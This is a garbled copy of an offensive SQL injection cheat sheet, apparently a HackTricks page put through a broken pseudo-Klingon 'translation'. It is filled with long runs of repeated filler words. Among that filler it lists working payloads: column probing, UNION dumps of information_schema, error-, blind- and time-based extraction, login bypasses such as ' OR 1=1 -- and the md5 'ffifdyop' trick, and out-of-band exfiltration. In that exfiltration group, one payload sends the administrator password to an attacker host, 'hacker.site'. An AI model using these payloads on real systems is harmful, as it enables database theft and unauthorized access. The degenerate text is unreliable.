vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh, tlhIngan Hol vItlhutlhlaHbe'chugh
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
Select more and more null values until the query is correct:
UNION SELECT
QaStaHvIS null qo'lu'pu' 'ej query chu' correct vItlhutlh.
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
_ghItlh 'ej 'oH 'e' vItlhutlh. 'ej vaj 'e' vItlhutlh vItlhutlh 'ej vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlh
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
ghItlhvam vItlhutlhlaHbe'chugh, 'ach vItlhutlhlaHbe'chugh qaStaHvIS. vaj 'oH vItlhutlhlaHbe'chugh qaStaHvIS.
Exploiting Hidden Union Based
qaStaHvIS qurgh 'ej union-based injection 'e' vItlhutlhlaHbe'chugh, 'ach 'oH vItlhutlhlaHbe'chugh blind injection. blind injection 'e' union-based injection vItlhutlhlaHbe'chugh, backend execution query vItlhutlhlaHbe'chugh.
vaj vItlhutlhlaHbe'chugh blind injection techniques 'ej target Database Management System (DBMS) DaH jImej. target DBMS documentation jImejDaq vItlhutlhlaH.
qaStaHvIS vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh payload safely close original query. vaj, union query vItlhutlhlaHbe'chugh payload, vItlhutlhlaHbe'chugh newly accessible union-based injection.
vItlhutlhlaHbe'chugh, Healing Blind Injections Daq vItlhutlhlaHbe'chugh article.
Exploiting Error based
vaj qaStaHvIS output of the query vItlhutlhlaHbe'chugh cannot, 'ach error messages vItlhutlhlaHbe'chugh can vItlhutlhlaHbe'chugh, vItlhutlhlaHbe'chugh error messages vItlhutlhlaHbe'chugh data ex-filtrate vItlhutlhlaHbe'chugh database.
Union Based exploitation vItlhutlhlaHbe'chugh similar flow vItlhutlhlaHbe'chugh DB dump.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
qoH SQLi vItlhutlh
vaj jImej, vaj jImej vItlhutlh vItlhutlh 'ej vItlhutlh 'ej qar 'ej qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar qar
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploiting Error Blind SQLi
Qapla'! (Success!) This is the same case as before but instead of distinguishing between a true/false response from the query, you can distinguish between an error in the SQL query or not (maybe because the HTTP server crashes). Therefore, in this case, you can force an SQL error each time you guess correctly the char:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Exploiting Time Based SQLi
QaStaHvIS pagh Dochvam response Dochvam query context Dochvam distinguish. 'ach, pagh load longer make character guessed correct. vuln SQLi confirming-with-timing order before use technique this saw already.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
Stacked Queries: Qa'vam vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh **
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Out of band data exfiltration via XXE
Description
XXE (XML External Entity) injection is a vulnerability that allows an attacker to read arbitrary files on the server or perform server-side request forgery (SSRF) attacks. In some cases, it is also possible to exfiltrate data from the server using XXE.
How it works
- The attacker identifies a vulnerable parameter that accepts XML input.
- The attacker crafts a malicious XML payload that includes an external entity reference pointing to a file on the server.
- The attacker submits the payload to the vulnerable parameter.
- If the server is vulnerable to XXE, it will process the XML payload and attempt to resolve the external entity reference.
- The server will then send a request to the specified file on behalf of the attacker.
- The attacker can monitor the server's response to exfiltrate sensitive data.
Out of band data exfiltration
In some cases, the attacker may not receive the server's response directly. This can happen if the server is behind a firewall or if the attacker's IP address is blocked. However, the attacker can still exfiltrate data using out of band (OOB) techniques.
OOB techniques
-
DNS exfiltration: The attacker crafts a payload that causes the server to make DNS requests to a domain under the attacker's control. By monitoring the DNS server logs, the attacker can extract the exfiltrated data.
-
HTTP exfiltration: The attacker crafts a payload that causes the server to make HTTP requests to a web server under the attacker's control. The attacker can then analyze the web server logs to extract the exfiltrated data.
-
FTP exfiltration: The attacker crafts a payload that causes the server to make FTP requests to an FTP server under the attacker's control. The attacker can then analyze the FTP server logs to extract the exfiltrated data.
Prevention
To prevent XXE vulnerabilities, follow these best practices:
- Use a secure XML parser that disables external entity resolution by default.
- If external entity resolution is required, use a whitelist of trusted entities.
- Validate and sanitize all user input before processing it as XML.
- Implement proper input validation and output encoding to prevent other types of injection attacks.
- Keep all software and libraries up to date to avoid known XXE vulnerabilities.
References
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
qo'noS
Check the SQLMap Cheetsheat to exploit a SQLi vulnerability with sqlmap.
Tech specific info
We have already discussed all the ways to exploit a SQL Injection vulnerability. Find some more tricks database technology dependant in this book:
Or you will find a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
{% embed url="https://www.rootedcon.com/" %}
Authentication bypass
List to try to bypass the login functionality:
{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
tlhIngan Hol Translation:
This query showcases a vulnerability when MD5 is used with true for raw output in authentication checks, making the system susceptible to SQL injection. Attackers can exploit this by crafting inputs that, when hashed, produce unexpected SQL command parts, leading to unauthorized access.
QapHa'logh:
QapHa'logh vItlhutlh MD5 vItlhutlh true raw output authentication checks, vItlhutlh system susceptible SQL injection. QapHa'logh vItlhutlh attackers can exploit vItlhutlh crafting inputs, vaj hashed, produce unexpected SQL command parts, leading vItlhutlh unauthorized access.
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
Injected hash authentication Bypass
Description
This technique involves bypassing authentication by injecting a specially crafted hash value into the authentication process. By manipulating the hash value, an attacker can trick the system into granting unauthorized access.
Vulnerability
This technique relies on a vulnerability in the authentication mechanism that allows the injection of arbitrary hash values. This vulnerability can occur when the system does not properly validate or sanitize user input before using it to generate or compare hash values.
Exploitation
To exploit this vulnerability, an attacker needs to identify the input field or parameter that is used to generate the hash value for authentication. Once identified, the attacker can manipulate the input to generate a hash value that will bypass the authentication process.
Mitigation
To mitigate this vulnerability, it is important to implement proper input validation and sanitization techniques. Additionally, using strong and secure hashing algorithms can make it more difficult for attackers to generate valid hash values.
Example
Consider a web application that uses a username and password for authentication. The application generates a hash value using the password and compares it with the stored hash value for the user. If the hash values match, the user is granted access.
An attacker can exploit this vulnerability by injecting a specially crafted hash value that matches the stored hash value for a different user. This can be done by manipulating the input field used to generate the hash value.
For example, if the application uses the following SQL query to authenticate users:
SELECT * FROM users WHERE username = 'input_username' AND password = MD5('input_password')
An attacker can inject a hash value that matches the stored hash value for a different user by manipulating the input as follows:
input_username: ' OR 1=1 --
input_password: anything
This will result in the following SQL query:
SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = MD5('anything')
Since the condition 1=1 is always true, the attacker will be granted access to the application without providing a valid password.
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
ghItlh list:
tlhIngan Hol vItlhutlh username vItlhutlh je each line 'ej password vItlhutlh: Pass1234.
(This payloads are also included in the big list mentioned at the beginning of this section)
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
GBK Authentication Bypass
' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e' 'e
%A8%27 OR 1=1;-- 2
